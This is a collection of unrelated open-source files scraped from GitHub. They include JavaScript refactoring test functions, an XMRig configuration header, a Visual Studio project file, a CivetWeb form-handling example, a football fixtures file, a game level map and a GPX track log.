/**
* @param {!Array} arr
* @param {*} elem
*/
function after_indexOfStronglyNotEqualsMinusOne(arr, elem) {
arr.includes(elem);
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function before_indexOfGreaterThanMinusOne(arr, elem) {
arr.indexOf(elem) > -1;
}
/**
* @param {!Array} arr
* @param {*} elem
*/
function after_indexOfGreaterThanMinusOne(arr, elem) {
arr.includes(elem);
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function before_indexOfGreaterThanOrEqualsZero(arr, elem) {
arr.indexOf(elem) >= 0;
}
/**
* @param {!Array} arr
* @param {*} elem
*/
function after_indexOfGreaterThanOrEqualsZero(arr, elem) {
arr.includes(elem);
}
// elem NOT found in the array.
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function before_indexOfEqualsMinusOne(arr, elem) {
arr.indexOf(elem) == -1;
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function after_indexOfEqualsMinusOne(arr, elem) {
!arr.includes(elem);
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function before_indexOfStronglyEqualsMinusOne(arr, elem) {
arr.indexOf(elem) === -1;
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function after_indexOfStronglyEqualsMinusOne(arr, elem) {
!arr.includes(elem);
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function before_indexOfLessThanZero(arr, elem) {
arr.indexOf(elem) < 0;
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function after_indexOfLessThanZero(arr, elem) {
!arr.includes(elem);
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function before_bitwiseNot(arr, elem) {
~arr.indexOf(elem);
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function after_bitwiseNot(arr, elem) {
arr.includes(elem);
}
| {
"pile_set_name": "Github"
} |
## 包含文件
- Reference Code:《机器学习实战》第 6 章参考代码
- Assignment:作业
| {
"pile_set_name": "Github"
} |
############################
# Premier League 2012-2013
league: en
season: 2012/13
start_at: 1912-08-17
fixtures:
- premierleague1
24 teams:
- Barnsley
- Birmingham
- Blackburn
- Blackpool
- Bolton
- Brighton
- Bristol City
- Burnley
- Cardiff
- Charlton
- Crystal Palace
- Derby
- Huddersfield
- Hull
- Ipswich
- Leeds
- Leicester
- Middlesbrough
- Millwall
- Nott'm Forest
- Peterboro
- Sheffield Weds
- Watford
- Wolves
| {
"pile_set_name": "Github"
} |
{
"name": "23",
"difficulty": 2,
"map": [
"X X X X X X X X X X X X X ",
"X X X X X Tf Tf X X X X X X ",
"X X X X X X Tf X X X X X X ",
"X Tf Tf F F Bf Tf Bf F F Tf Tf X ",
"X X X Tf F F Tf F F Tf X X X ",
"F X X X Tf F F F Tf X X X F ",
"Tf F X X X F F F X X X F Tf ",
"F X X X Tc T3 F T3 Tc X X X F ",
"X X X X Tf X Tc X Tf X X X X ",
"X X X Tf X X Tf X X Tf X X X ",
"X X X X X X X X X X X X X ",
"X X X X X B8 Bc B4 X X X X X ",
"X X Tf X X Ba E B5 X X Tf X X "
],
"bots": ["6*armor", "4*power", "10*fast"]
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$/java" isTestSource="false" />
<sourceFolder url="file://$MODULE_DIR$/scala" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" name="target" level="project" />
</component>
</module> | {
"pile_set_name": "Github"
} |
/* XMRig
* Copyright 2010 Jeff Garzik <[email protected]>
* Copyright 2012-2014 pooler <[email protected]>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <[email protected]>
* Copyright 2017-2018 XMR-Stak <https://github.com/fireice-uk>, <https://github.com/psychocrypt>
* Copyright 2018-2019 SChernykh <https://github.com/SChernykh>
* Copyright 2016-2019 XMRig <https://github.com/xmrig>, <[email protected]>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef XMRIG_ICONFIG_H
#define XMRIG_ICONFIG_H
#include "common/crypto/Algorithm.h"
#include "rapidjson/fwd.h"
namespace xmrig {
class String;
class IConfig
{
public:
enum Keys {
// common
AlgorithmKey = 'a',
ApiAccessTokenKey = 4001,
ApiIPv6Key = 4003,
ApiPort = 4000,
ApiRestrictedKey = 4004,
ApiWorkerIdKey = 4002,
ApiIdKey = 4005,
BackgroundKey = 'B',
ColorKey = 1002,
ConfigKey = 'c',
DonateLevelKey = 1003,
KeepAliveKey = 'k',
LogFileKey = 'l',
PasswordKey = 'p',
RetriesKey = 'r',
RetryPauseKey = 'R',
RigIdKey = 1012,
SyslogKey = 'S',
UrlKey = 'o',
UserAgentKey = 1008,
UserKey = 'u',
UserpassKey = 'O',
VariantKey = 1010,
VerboseKey = 1100,
WatchKey = 1105,
TlsKey = 1013,
FingerprintKey = 1014,
AutoSaveKey = 1016,
// xmrig common
CPUPriorityKey = 1021,
NicehashKey = 1006,
PrintTimeKey = 1007,
// xmrig cpu
AVKey = 'v',
CPUAffinityKey = 1020,
DryRunKey = 5000,
HugePagesKey = 1009,
MaxCPUUsageKey = 1004,
SafeKey = 1005,
ThreadsKey = 't',
HardwareAESKey = 1011,
AssemblyKey = 1015,
// xmrig amd
OclPlatformKey = 1400,
OclAffinityKey = 1401,
OclDevicesKey = 1402,
OclLaunchKey = 1403,
OclCacheKey = 1404,
OclPrintKey = 1405,
OclLoaderKey = 1406,
OclSridedIndexKey = 1407,
OclMemChunkKey = 1408,
OclUnrollKey = 1409,
OclCompModeKey = 1410,
// xmrig-proxy
AccessLogFileKey = 'A',
BindKey = 'b',
CoinKey = 1104,
CustomDiffKey = 1102,
DebugKey = 1101,
ModeKey = 'm',
PoolCoinKey = 'C',
ReuseTimeoutKey = 1106,
WorkersKey = 1103,
WorkersAdvKey = 1107,
TlsBindKey = 1108,
TlsCertKey = 1109,
TlsCertKeyKey = 1110,
TlsDHparamKey = 1111,
TlsCiphersKey = 1112,
TlsCipherSuitesKey = 1113,
TlsProtocolsKey = 1114,
// xmrig nvidia
CudaMaxThreadsKey = 1200,
CudaBFactorKey = 1201,
CudaBSleepKey = 1202,
CudaDevicesKey = 1203,
CudaLaunchKey = 1204,
CudaAffinityKey = 1205,
CudaMaxUsageKey = 1206,
};
virtual ~IConfig() = default;
virtual bool finalize() = 0;
virtual bool isWatch() const = 0;
virtual bool parseBoolean(int key, bool enable) = 0;
virtual bool parseString(int key, const char *arg) = 0;
virtual bool parseUint64(int key, uint64_t arg) = 0;
virtual bool save() = 0;
virtual const Algorithm &algorithm() const = 0;
virtual const String &fileName() const = 0;
virtual void getJSON(rapidjson::Document &doc) const = 0;
virtual void parseJSON(const rapidjson::Document &doc) = 0;
virtual void setFileName(const char *fileName) = 0;
};
} /* namespace xmrig */
#endif // XMRIG_ICONFIG_H
| {
"pile_set_name": "Github"
} |
# Microsoft Developer Studio Project File - Name="listctrl" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **
# TARGTYPE "Win32 (x86) Application" 0x0101
CFG=listctrl - Win32 Debug
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "listctrl.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "listctrl.mak" CFG="listctrl - Win32 Debug"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
!MESSAGE "listctrl - Win32 DLL Release" (based on "Win32 (x86) Application")
!MESSAGE "listctrl - Win32 DLL Debug" (based on "Win32 (x86) Application")
!MESSAGE "listctrl - Win32 Release" (based on "Win32 (x86) Application")
!MESSAGE "listctrl - Win32 Debug" (based on "Win32 (x86) Application")
!MESSAGE
# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe
!IF "$(CFG)" == "listctrl - Win32 DLL Release"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "vc_mswudll"
# PROP BASE Intermediate_Dir "vc_mswudll\listctrl"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "vc_mswudll"
# PROP Intermediate_Dir "vc_mswudll\listctrl"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /FD /MD /Zi /Fdvc_mswudll\listctrl.pdb /opt:ref /opt:icf /O2 /GR /EHsc /I ".\..\..\lib\vc_dll\mswu" /I ".\..\..\include" /W4 /I "." /I ".\..\..\samples" /D "WIN32" /D "__WXMSW__" /D "NDEBUG" /D "_UNICODE" /D "WXUSINGDLL" /D "_WINDOWS" /D "NOPCH" /c
# ADD CPP /nologo /FD /MD /Zi /Fdvc_mswudll\listctrl.pdb /opt:ref /opt:icf /O2 /GR /EHsc /I ".\..\..\lib\vc_dll\mswu" /I ".\..\..\include" /W4 /I "." /I ".\..\..\samples" /D "WIN32" /D "__WXMSW__" /D "NDEBUG" /D "_UNICODE" /D "WXUSINGDLL" /D "_WINDOWS" /D "NOPCH" /c
# ADD BASE MTL /nologo /D "WIN32" /D "__WXMSW__" /D "NDEBUG" /D "_UNICODE" /D "WXUSINGDLL" /D "_WINDOWS" /D "NOPCH" /mktyplib203 /win32
# ADD MTL /nologo /D "WIN32" /D "__WXMSW__" /D "NDEBUG" /D "_UNICODE" /D "WXUSINGDLL" /D "_WINDOWS" /D "NOPCH" /mktyplib203 /win32
# ADD BASE RSC /l 0x409 /d "__WXMSW__" /d "NDEBUG" /d "_UNICODE" /i ".\..\..\lib\vc_dll\mswu" /i ".\..\..\include" /i "." /d "WXUSINGDLL" /d "_WINDOWS" /i ".\..\..\samples" /d NOPCH
# ADD RSC /l 0x409 /d "__WXMSW__" /d "NDEBUG" /d "_UNICODE" /i ".\..\..\lib\vc_dll\mswu" /i ".\..\..\include" /i "." /d "WXUSINGDLL" /d "_WINDOWS" /i ".\..\..\samples" /d NOPCH
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 wxmsw30u_core.lib wxbase30u.lib wxtiff.lib wxjpeg.lib wxpng.lib wxzlib.lib wxregexu.lib wxexpat.lib kernel32.lib user32.lib gdi32.lib comdlg32.lib winspool.lib winmm.lib shell32.lib comctl32.lib ole32.lib oleaut32.lib uuid.lib rpcrt4.lib advapi32.lib wsock32.lib wininet.lib /nologo /machine:i386 /out:"vc_mswudll\listctrl.exe" /debug /pdb:"vc_mswudll\listctrl.pdb" /libpath:".\..\..\lib\vc_dll" /subsystem:windows
# ADD LINK32 wxmsw30u_core.lib wxbase30u.lib wxtiff.lib wxjpeg.lib wxpng.lib wxzlib.lib wxregexu.lib wxexpat.lib kernel32.lib user32.lib gdi32.lib comdlg32.lib winspool.lib winmm.lib shell32.lib comctl32.lib ole32.lib oleaut32.lib uuid.lib rpcrt4.lib advapi32.lib wsock32.lib wininet.lib /nologo /machine:i386 /out:"vc_mswudll\listctrl.exe" /debug /pdb:"vc_mswudll\listctrl.pdb" /libpath:".\..\..\lib\vc_dll" /subsystem:windows
!ELSEIF "$(CFG)" == "listctrl - Win32 DLL Debug"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "vc_mswuddll"
# PROP BASE Intermediate_Dir "vc_mswuddll\listctrl"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "vc_mswuddll"
# PROP Intermediate_Dir "vc_mswuddll\listctrl"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /FD /MDd /Zi /Fdvc_mswuddll\listctrl.pdb /Od /Gm /GR /EHsc /I ".\..\..\lib\vc_dll\mswud" /I ".\..\..\include" /W4 /I "." /I ".\..\..\samples" /D "WIN32" /D "_DEBUG" /D "__WXMSW__" /D "_UNICODE" /D "WXUSINGDLL" /D "_WINDOWS" /D "NOPCH" /c
# ADD CPP /nologo /FD /MDd /Zi /Fdvc_mswuddll\listctrl.pdb /Od /Gm /GR /EHsc /I ".\..\..\lib\vc_dll\mswud" /I ".\..\..\include" /W4 /I "." /I ".\..\..\samples" /D "WIN32" /D "_DEBUG" /D "__WXMSW__" /D "_UNICODE" /D "WXUSINGDLL" /D "_WINDOWS" /D "NOPCH" /c
# ADD BASE MTL /nologo /D "WIN32" /D "_DEBUG" /D "__WXMSW__" /D "_UNICODE" /D "WXUSINGDLL" /D "_WINDOWS" /D "NOPCH" /mktyplib203 /win32
# ADD MTL /nologo /D "WIN32" /D "_DEBUG" /D "__WXMSW__" /D "_UNICODE" /D "WXUSINGDLL" /D "_WINDOWS" /D "NOPCH" /mktyplib203 /win32
# ADD BASE RSC /l 0x409 /d "_DEBUG" /d "__WXMSW__" /d "_UNICODE" /i ".\..\..\lib\vc_dll\mswud" /i ".\..\..\include" /i "." /d "WXUSINGDLL" /d "_WINDOWS" /i ".\..\..\samples" /d NOPCH
# ADD RSC /l 0x409 /d "_DEBUG" /d "__WXMSW__" /d "_UNICODE" /i ".\..\..\lib\vc_dll\mswud" /i ".\..\..\include" /i "." /d "WXUSINGDLL" /d "_WINDOWS" /i ".\..\..\samples" /d NOPCH
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 wxmsw30ud_core.lib wxbase30ud.lib wxtiffd.lib wxjpegd.lib wxpngd.lib wxzlibd.lib wxregexud.lib wxexpatd.lib kernel32.lib user32.lib gdi32.lib comdlg32.lib winspool.lib winmm.lib shell32.lib comctl32.lib ole32.lib oleaut32.lib uuid.lib rpcrt4.lib advapi32.lib wsock32.lib wininet.lib /nologo /machine:i386 /out:"vc_mswuddll\listctrl.exe" /debug /pdb:"vc_mswuddll\listctrl.pdb" /libpath:".\..\..\lib\vc_dll" /subsystem:windows
# ADD LINK32 wxmsw30ud_core.lib wxbase30ud.lib wxtiffd.lib wxjpegd.lib wxpngd.lib wxzlibd.lib wxregexud.lib wxexpatd.lib kernel32.lib user32.lib gdi32.lib comdlg32.lib winspool.lib winmm.lib shell32.lib comctl32.lib ole32.lib oleaut32.lib uuid.lib rpcrt4.lib advapi32.lib wsock32.lib wininet.lib /nologo /machine:i386 /out:"vc_mswuddll\listctrl.exe" /debug /pdb:"vc_mswuddll\listctrl.pdb" /libpath:".\..\..\lib\vc_dll" /subsystem:windows
!ELSEIF "$(CFG)" == "listctrl - Win32 Release"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "vc_mswu"
# PROP BASE Intermediate_Dir "vc_mswu\listctrl"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "vc_mswu"
# PROP Intermediate_Dir "vc_mswu\listctrl"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /FD /MD /Zi /Fdvc_mswu\listctrl.pdb /opt:ref /opt:icf /O2 /GR /EHsc /I ".\..\..\lib\vc_lib\mswu" /I ".\..\..\include" /W4 /I "." /I ".\..\..\samples" /D "WIN32" /D "__WXMSW__" /D "NDEBUG" /D "_UNICODE" /D "_WINDOWS" /D "NOPCH" /c
# ADD CPP /nologo /FD /MD /Zi /Fdvc_mswu\listctrl.pdb /opt:ref /opt:icf /O2 /GR /EHsc /I ".\..\..\lib\vc_lib\mswu" /I ".\..\..\include" /W4 /I "." /I ".\..\..\samples" /D "WIN32" /D "__WXMSW__" /D "NDEBUG" /D "_UNICODE" /D "_WINDOWS" /D "NOPCH" /c
# ADD BASE MTL /nologo /D "WIN32" /D "__WXMSW__" /D "NDEBUG" /D "_UNICODE" /D "_WINDOWS" /D "NOPCH" /mktyplib203 /win32
# ADD MTL /nologo /D "WIN32" /D "__WXMSW__" /D "NDEBUG" /D "_UNICODE" /D "_WINDOWS" /D "NOPCH" /mktyplib203 /win32
# ADD BASE RSC /l 0x409 /d "__WXMSW__" /d "NDEBUG" /d "_UNICODE" /i ".\..\..\lib\vc_lib\mswu" /i ".\..\..\include" /i "." /d "_WINDOWS" /i ".\..\..\samples" /d NOPCH
# ADD RSC /l 0x409 /d "__WXMSW__" /d "NDEBUG" /d "_UNICODE" /i ".\..\..\lib\vc_lib\mswu" /i ".\..\..\include" /i "." /d "_WINDOWS" /i ".\..\..\samples" /d NOPCH
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 wxmsw30u_core.lib wxbase30u.lib wxtiff.lib wxjpeg.lib wxpng.lib wxzlib.lib wxregexu.lib wxexpat.lib kernel32.lib user32.lib gdi32.lib comdlg32.lib winspool.lib winmm.lib shell32.lib comctl32.lib ole32.lib oleaut32.lib uuid.lib rpcrt4.lib advapi32.lib wsock32.lib wininet.lib /nologo /machine:i386 /out:"vc_mswu\listctrl.exe" /debug /pdb:"vc_mswu\listctrl.pdb" /libpath:".\..\..\lib\vc_lib" /subsystem:windows
# ADD LINK32 wxmsw30u_core.lib wxbase30u.lib wxtiff.lib wxjpeg.lib wxpng.lib wxzlib.lib wxregexu.lib wxexpat.lib kernel32.lib user32.lib gdi32.lib comdlg32.lib winspool.lib winmm.lib shell32.lib comctl32.lib ole32.lib oleaut32.lib uuid.lib rpcrt4.lib advapi32.lib wsock32.lib wininet.lib /nologo /machine:i386 /out:"vc_mswu\listctrl.exe" /debug /pdb:"vc_mswu\listctrl.pdb" /libpath:".\..\..\lib\vc_lib" /subsystem:windows
!ELSEIF "$(CFG)" == "listctrl - Win32 Debug"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "vc_mswud"
# PROP BASE Intermediate_Dir "vc_mswud\listctrl"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "vc_mswud"
# PROP Intermediate_Dir "vc_mswud\listctrl"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /FD /MDd /Zi /Fdvc_mswud\listctrl.pdb /Od /Gm /GR /EHsc /I ".\..\..\lib\vc_lib\mswud" /I ".\..\..\include" /W4 /I "." /I ".\..\..\samples" /D "WIN32" /D "_DEBUG" /D "__WXMSW__" /D "_UNICODE" /D "_WINDOWS" /D "NOPCH" /c
# ADD CPP /nologo /FD /MDd /Zi /Fdvc_mswud\listctrl.pdb /Od /Gm /GR /EHsc /I ".\..\..\lib\vc_lib\mswud" /I ".\..\..\include" /W4 /I "." /I ".\..\..\samples" /D "WIN32" /D "_DEBUG" /D "__WXMSW__" /D "_UNICODE" /D "_WINDOWS" /D "NOPCH" /c
# ADD BASE MTL /nologo /D "WIN32" /D "_DEBUG" /D "__WXMSW__" /D "_UNICODE" /D "_WINDOWS" /D "NOPCH" /mktyplib203 /win32
# ADD MTL /nologo /D "WIN32" /D "_DEBUG" /D "__WXMSW__" /D "_UNICODE" /D "_WINDOWS" /D "NOPCH" /mktyplib203 /win32
# ADD BASE RSC /l 0x409 /d "_DEBUG" /d "__WXMSW__" /d "_UNICODE" /i ".\..\..\lib\vc_lib\mswud" /i ".\..\..\include" /i "." /d "_WINDOWS" /i ".\..\..\samples" /d NOPCH
# ADD RSC /l 0x409 /d "_DEBUG" /d "__WXMSW__" /d "_UNICODE" /i ".\..\..\lib\vc_lib\mswud" /i ".\..\..\include" /i "." /d "_WINDOWS" /i ".\..\..\samples" /d NOPCH
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 wxmsw30ud_core.lib wxbase30ud.lib wxtiffd.lib wxjpegd.lib wxpngd.lib wxzlibd.lib wxregexud.lib wxexpatd.lib kernel32.lib user32.lib gdi32.lib comdlg32.lib winspool.lib winmm.lib shell32.lib comctl32.lib ole32.lib oleaut32.lib uuid.lib rpcrt4.lib advapi32.lib wsock32.lib wininet.lib /nologo /machine:i386 /out:"vc_mswud\listctrl.exe" /debug /pdb:"vc_mswud\listctrl.pdb" /libpath:".\..\..\lib\vc_lib" /subsystem:windows
# ADD LINK32 wxmsw30ud_core.lib wxbase30ud.lib wxtiffd.lib wxjpegd.lib wxpngd.lib wxzlibd.lib wxregexud.lib wxexpatd.lib kernel32.lib user32.lib gdi32.lib comdlg32.lib winspool.lib winmm.lib shell32.lib comctl32.lib ole32.lib oleaut32.lib uuid.lib rpcrt4.lib advapi32.lib wsock32.lib wininet.lib /nologo /machine:i386 /out:"vc_mswud\listctrl.exe" /debug /pdb:"vc_mswud\listctrl.pdb" /libpath:".\..\..\lib\vc_lib" /subsystem:windows
!ENDIF
# Begin Target
# Name "listctrl - Win32 DLL Release"
# Name "listctrl - Win32 DLL Debug"
# Name "listctrl - Win32 Release"
# Name "listctrl - Win32 Debug"
# Begin Group "Source Files"
# PROP Default_Filter ""
# Begin Source File
SOURCE=.\listtest.cpp
# End Source File
# Begin Source File
SOURCE=.\listtest.rc
# End Source File
# End Group
# Begin Group "Header Files"
# PROP Default_Filter ""
# Begin Source File
SOURCE=.\listtest.h
# End Source File
# End Group
# End Target
# End Project
| {
"pile_set_name": "Github"
} |
<?php
class NotExistingCoveredElementTest extends PHPUnit_Framework_TestCase
{
/**
* @covers NotExistingClass
*/
public function testOne()
{
}
/**
* @covers NotExistingClass::notExistingMethod
*/
public function testTwo()
{
}
/**
* @covers NotExistingClass::<public>
*/
public function testThree()
{
}
}
| {
"pile_set_name": "Github"
} |
#include <stdio.h>
#include <string.h>
#include "civetweb.h"
static const char *html_form =
"<html><body>POST example."
"<form method=\"POST\" action=\"/handle_post_request\">"
"Input 1: <input type=\"text\" name=\"input_1\" /> <br/>"
"Input 2: <input type=\"text\" name=\"input_2\" /> <br/>"
"<input type=\"submit\" />"
"</form></body></html>";
static int begin_request_handler(struct mg_connection *conn)
{
const struct mg_request_info *ri = mg_get_request_info(conn);
char post_data[1024], input1[sizeof(post_data)], input2[sizeof(post_data)];
int post_data_len;
if (!strcmp(ri->uri, "/handle_post_request")) {
// User has submitted a form, show submitted data and a variable value
post_data_len = mg_read(conn, post_data, sizeof(post_data));
// Parse form data. input1 and input2 are guaranteed to be NUL-terminated
mg_get_var(post_data, post_data_len, "input_1", input1, sizeof(input1));
mg_get_var(post_data, post_data_len, "input_2", input2, sizeof(input2));
// Send reply to the client, showing submitted form values.
mg_printf(conn, "HTTP/1.0 200 OK\r\n"
"Content-Type: text/plain\r\n\r\n"
"Submitted data: [%.*s]\n"
"Submitted data length: %d bytes\n"
"input_1: [%s]\n"
"input_2: [%s]\n",
post_data_len, post_data, post_data_len, input1, input2);
} else {
// Show HTML form.
mg_printf(conn, "HTTP/1.0 200 OK\r\n"
"Content-Length: %d\r\n"
"Content-Type: text/html\r\n\r\n%s",
(int) strlen(html_form), html_form);
}
return 1; // Mark request as processed
}
int main(void)
{
struct mg_context *ctx;
const char *options[] = {"listening_ports", "8080", NULL};
struct mg_callbacks callbacks;
memset(&callbacks, 0, sizeof(callbacks));
callbacks.begin_request = begin_request_handler;
ctx = mg_start(&callbacks, NULL, options);
getchar(); // Wait until user hits "enter"
mg_stop(ctx);
return 0;
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/0 http://www.topografix.com/GPX/1/0/gpx.xsd">
<time>2010-08-06T10:36:35Z</time>
<bounds minlat="45.735199945" minlon="14.288633270" maxlat="45.795349991" maxlon="14.377516648"/>
<wpt lat="45.772163216" lon="14.357652292">
<name>001</name>
<cmt>05-AUG-10 16:58:37</cmt>
<desc>05-AUG-10 16:58:37</desc>
<sym>Flag, Blue</sym>
</wpt>
<wpt lat="45.757933259" lon="14.294899916">
<name>BACK T TH</name>
<cmt>BACK TO THE ROOTS</cmt>
<desc>BACK TO THE ROOTS</desc>
<sym>City (Small)</sym>
</wpt>
<wpt lat="45.735199945" lon="14.377516648">
<name>BIRDS NEST</name>
<cmt>BIRDS NEST</cmt>
<desc>BIRDS NEST</desc>
<sym>City (Small)</sym>
</wpt>
<wpt lat="45.791266663" lon="14.293566607">
<name>FAGGIO</name>
<cmt>FAGGIO</cmt>
<desc>FAGGIO</desc>
<sym>City (Small)</sym>
</wpt>
<wpt lat="45.795349991" lon="14.288633270">
<name>RAKOV12</name>
<cmt>RAKOV12</cmt>
<desc>RAKOV12</desc>
<sym>City (Small)</sym>
</wpt>
<wpt lat="45.791666647" lon="14.305099938">
<name>RAKV SKCJN</name>
<cmt>RAKOV SKOCJAN</cmt>
<desc>RAKOV SKOCJAN</desc>
<sym>City (Small)</sym>
</wpt>
<wpt lat="45.765583254" lon="14.361333288">
<name>VANSHNG LK</name>
<cmt>VANISHING LAKE</cmt>
<desc>VANISHING LAKE</desc>
<sym>City (Small)</sym>
</wpt>
<trk>
<name>ACTIVE LOG</name>
<trkseg>
</trkseg>
</trk>
<trk>
<name>ACTIVE LOG #2</name>
<number>1</number>
<trkseg>
<trkpt lat="45.772175035" lon="14.357659249">
<time>2010-08-05T14:23:59Z</time>
</trkpt>
<trkpt lat="45.772089791" lon="14.357567383">
<time>2010-08-05T14:25:08Z</time>
</trkpt>
<trkpt lat="45.772063639" lon="14.357461184">
<time>2010-08-05T14:26:36Z</time>
</trkpt>
<trkpt lat="45.772002535" lon="14.357343167">
<time>2010-08-05T14:26:46Z</time>
</trkpt>
<trkpt lat="45.771906478" lon="14.357355237">
<time>2010-08-05T14:26:56Z</time>
</trkpt>
<trkpt lat="45.771813104" lon="14.357374264">
<time>2010-08-05T14:27:05Z</time>
</trkpt>
<trkpt lat="45.771737499" lon="14.357434446">
<time>2010-08-05T14:27:14Z</time>
</trkpt>
<trkpt lat="45.771649070" lon="14.357447689">
<time>2010-08-05T14:27:28Z</time>
</trkpt>
<trkpt lat="45.771551002" lon="14.357469650">
<time>2010-08-05T14:27:46Z</time>
</trkpt>
<trkpt lat="45.771471541" lon="14.357517259">
<time>2010-08-05T14:27:55Z</time>
</trkpt>
<trkpt lat="45.771403983" lon="14.357416760">
<time>2010-08-05T14:28:05Z</time>
</trkpt>
<trkpt lat="45.771397445" lon="14.357317435">
<time>2010-08-05T14:28:20Z</time>
</trkpt>
<trkpt lat="45.771366181" lon="14.357201932">
<time>2010-08-05T14:28:29Z</time>
</trkpt>
<trkpt lat="45.771278841" lon="14.357150551">
<time>2010-08-05T14:28:40Z</time>
</trkpt>
<trkpt lat="45.771187562" lon="14.357119622">
<time>2010-08-05T14:28:50Z</time>
</trkpt>
<trkpt lat="45.771096284" lon="14.357099757">
<time>2010-08-05T14:29:02Z</time>
</trkpt>
<trkpt lat="45.771002490" lon="14.357058266">
<time>2010-08-05T14:29:21Z</time>
</trkpt>
<trkpt lat="45.770905931" lon="14.357027002">
<time>2010-08-05T14:29:30Z</time>
</trkpt>
<trkpt lat="45.770820603" lon="14.357021051">
<time>2010-08-05T14:29:40Z</time>
</trkpt>
<trkpt lat="45.770730581" lon="14.357006885">
<time>2010-08-05T14:29:50Z</time>
</trkpt>
<trkpt lat="45.770663023" lon="14.356960701">
<time>2010-08-05T14:30:10Z</time>
</trkpt>
<trkpt lat="45.770596471" lon="14.356866069">
<time>2010-08-05T14:30:19Z</time>
</trkpt>
<trkpt lat="45.770515921" lon="14.356806893">
<time>2010-08-05T14:30:27Z</time>
</trkpt>
<trkpt lat="45.770441070" lon="14.356734473">
<time>2010-08-05T14:30:35Z</time>
</trkpt>
<trkpt lat="45.770396059" lon="14.356622826">
<time>2010-08-05T14:30:44Z</time>
</trkpt>
<trkpt lat="45.770342331" lon="14.356471952">
<time>2010-08-05T14:31:12Z</time>
</trkpt>
<trkpt lat="45.770321460" lon="14.356346475">
<time>2010-08-05T14:31:20Z</time>
</trkpt>
<trkpt lat="45.770324981" lon="14.356215550">
<time>2010-08-05T14:31:29Z</time>
</trkpt>
<trkpt lat="45.770286592" lon="14.356161403">
<time>2010-08-05T14:33:31Z</time>
</trkpt>
<trkpt lat="45.770196151" lon="14.356116978">
<time>2010-08-05T14:33:40Z</time>
</trkpt>
<trkpt lat="45.770110404" lon="14.356067609">
<time>2010-08-05T14:33:48Z</time>
</trkpt>
<trkpt lat="45.770022226" lon="14.356011786">
<time>2010-08-05T14:33:57Z</time>
</trkpt>
<trkpt lat="45.769934719" lon="14.356021928">
<time>2010-08-05T14:34:05Z</time>
</trkpt>
<trkpt lat="45.769839920" lon="14.356053527">
<time>2010-08-05T14:34:14Z</time>
</trkpt>
<trkpt lat="45.769755682" lon="14.356107507">
